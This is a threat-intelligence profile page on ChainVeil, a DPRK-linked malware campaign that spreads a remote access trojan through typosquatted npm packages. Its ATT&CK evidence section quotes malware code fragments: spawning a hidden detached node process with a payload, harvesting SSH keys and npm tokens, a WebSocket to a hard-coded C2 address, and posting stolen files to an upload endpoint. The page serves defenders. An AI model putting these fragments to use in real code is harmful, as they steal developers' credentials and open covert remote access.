Skip to main content
Mallory
Malware2 associated actors

ChainVeil

Tracked since Jul 17, 2026 · Updated 4 months ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns0Associated
Actors2Associated
ATT&CK24Techniques
IOCs10Tracked
Type
RAT
Capabilities
Credential theftExfiltrationPersistencePost exploitationDefense evasion
Delivery
Landing page
Platforms
LinuxmacOS

ChainVeil is a malicious software supply-chain operation centered on trojanized npm packages that execute payloads when imported rather than during installation. The activity has been attributed to the threat actor SuccessKey and is assessed by multiple researchers as part of the broader DPRK-linked PolinRider cluster. The campaign targeted software developers by publishing typosquatted and impersonating packages in the JavaScript ecosystem, including packages themed around common development tooling.

The malware chain uses a staged loader architecture backed by a resilient multi-tier command-and-control design that leverages Tron, Aptos, and Binance Smart Chain as dead-drop infrastructure for payload resolution. The initial package-resident code retrieves encrypted next-stage data from blockchain pointers, decrypts it, and executes it either directly in the main process or in a detached hidden child process. The final payload is a remote access trojan that provides reverse shell access, arbitrary command execution, JavaScript execution, background process spawning, process termination, system profiling, file upload, and recursive directory upload.

ChainVeil is also designed for credential access and data theft. Observed behavior includes harvesting shell configuration data, SSH material, and npm authentication data, with macOS-focused collection extending to exported Keychain-derived OAuth material. The malware exfiltrates stolen files and collected data to attacker-controlled infrastructure. For persistence, it appends hidden code to user shell startup files so the malware is re-executed when a new terminal session opens.

The malware incorporates defense-evasion and anti-analysis measures, including CI and sandbox detection, anti-debugging logic, obfuscation, anti-tampering checks, and replay-guard behavior. Related follow-on activity, especially ViteVenom, shares the same final RAT payload, overlapping blockchain infrastructure, and decryption logic, indicating either the same operator or a closely shared backend. ChainVeil primarily affects developer workstations running Node.js tooling on Linux and macOS, and can expose source code, credentials, and downstream software supply chains through compromised maintainer environments.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Threat actors

Associated threat actors

2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
SuccessKey

We are tracking this campaign as ChainVeil , attributed to the actor SuccessKey , and it appears to have been active since at least May 2026.

via checkmarx othercheckmarx.com
Lazarus

"ChainVeil and ViteVenom are DPRK’s PolinRider Campaign"

via lazarusholic blueskybsky.app
MITRE ATT&CK

Techniques & procedures

24 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique
T1583.001DomainsEvidence1

we found a malicious npm package called rate-limit-flexible — a typosquat of the popular legitimate package rate-limiter-flexible

Initial Access

1 technique
T1195Supply Chain CompromiseEvidence5

Checkmarx Zero’s ongoing research into malicious open-source libraries has uncovered and reported a targeted supply chain campaign

Execution

2 techniques
T1059.004Unix ShellEvidence1

Once connected, the C2 operator has a full interactive shell: Any shell command Executed via child_process.exec() — full shell access

T1059.007JavaScriptEvidence2

Stage 2A is eval()‘d directly in the main thread... Stage 2B is spawned as a detached, hidden, silent child process

Persistence

3 techniques
T1037Boot or Logon Initialization ScriptsEvidence1

Every time the developer opens a new terminal, the malware re-executes

T1546.004Unix Shell Configuration ModificationEvidence1

Users who have installed the packages are advised to remove them immediately, audit dependencies, rotate all credentials, and look for unauthorized modifications to .bashrc, .zshrc, and .profile files.

T1556Modify Authentication ProcessEvidence1

The most insidious persistence mechanism is code injection into shell configuration files. Every time the developer opens a new terminal, the malware re-executes.

Privilege Escalation

3 techniques
T1037Boot or Logon Initialization ScriptsEvidence1

Every time the developer opens a new terminal, the malware re-executes

T1055Process InjectionEvidence1

require ( 'child_process' ). spawn ( 'node' , [ '-e' , "global['_V']='" + campaignId + "';" + payload2 ], { detached : true , stdio : 'ignore' , windowsHide : true })

T1546.004Unix Shell Configuration ModificationEvidence1

Users who have installed the packages are advised to remove them immediately, audit dependencies, rotate all credentials, and look for unauthorized modifications to .bashrc, .zshrc, and .profile files.

Stealth

5 techniques
T1027Obfuscated Files or InformationEvidence2

The rest of lib/lib.min.js is wrapped in an immediately-invoked function containing the YWG shuffler — a custom obfuscation layer

T1036MasqueradingEvidence1

ViteVenom makes use of scoped package names in an attempt to impersonate the "@vitejs/*" namespace and lend it a veneer of legitimacy.

T1055Process InjectionEvidence1

require ( 'child_process' ). spawn ( 'node' , [ '-e' , "global['_V']='" + campaignId + "';" + payload2 ], { detached : true , stdio : 'ignore' , windowsHide : true })

T1497Virtualization/Sandbox EvasionEvidence1

If it suspects it’s running inside a security researcher’s environment rather than on a real victim’s machine, it goes quiet

T1622Debugger EvasionEvidence1

This snippet checks whether its own code contains a newline character... If it detects that tampering, it drops into while (true) {}

Defense Impairment

1 technique
T1556Modify Authentication ProcessEvidence1

The most insidious persistence mechanism is code injection into shell configuration files. Every time the developer opens a new terminal, the malware re-executes.

Credential Access

4 techniques
T1552Unsecured CredentialsEvidence1

harvest ( "~/.npmrc" , ".npmrc" );

T1555Credentials from Password StoresEvidence2

On macOS, it additionally reads Keychain exports, filtering for OAuth tokens

T1556Modify Authentication ProcessEvidence1

The most insidious persistence mechanism is code injection into shell configuration files. Every time the developer opens a new terminal, the malware re-executes.

T1649Steal or Forge Authentication CertificatesEvidence1

harvest ( "~/.ssh/" , ".ssh" );

Discovery

4 techniques
T1082System Information DiscoveryEvidence1

const platform = os.platform(); const hostname = os.hostname(); const uid = os.userInfo().uid

T1083File and Directory DiscoveryEvidence1

harvest ( "~/.bashrc" , ".bashrc" ); ... harvest ( "~/.ssh/" , ".ssh" ); harvest ( "~/.npmrc" , ".npmrc" );

T1497Virtualization/Sandbox EvasionEvidence1

If it suspects it’s running inside a security researcher’s environment rather than on a real victim’s machine, it goes quiet

T1622Debugger EvasionEvidence1

This snippet checks whether its own code contains a newline character... If it detects that tampering, it drops into while (true) {}

Command and Control

6 techniques
T1008Fallback ChannelsEvidence1

If the Tron-based payload retrieval method fails, the malware uses Aptos as a backup.

T1071Application Layer ProtocolEvidence1

const ws = WebSocket ( "ws://166.88.54.158:443" ... )

T1071.001Web ProtocolsEvidence1

Stage 2B — the detached hidden process — skips the blockchain chain and fetches directly from the C2 over HTTP

T1090.003Multi-hop ProxyEvidence2

It uses an unprecedented 4-tier blockchain-based Command and Control (C2) infrastructure spanning three blockchains (Tron, Aptos, Binance Smart Chain)

T1105Ingress Tool TransferEvidence3

The endpoint /$/boot serves the XOR-encrypted RAT payload

T1219Remote Access ToolsEvidence1

deliver a remote access trojan (RAT) capable reverse shell, credential harvesting, file exfiltration, and persistent backdoor injection.

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence2

await http.post ( C2_URL + "/upload" , formData

Indicators of compromise

Observables

10 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching10Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors2Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping24Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.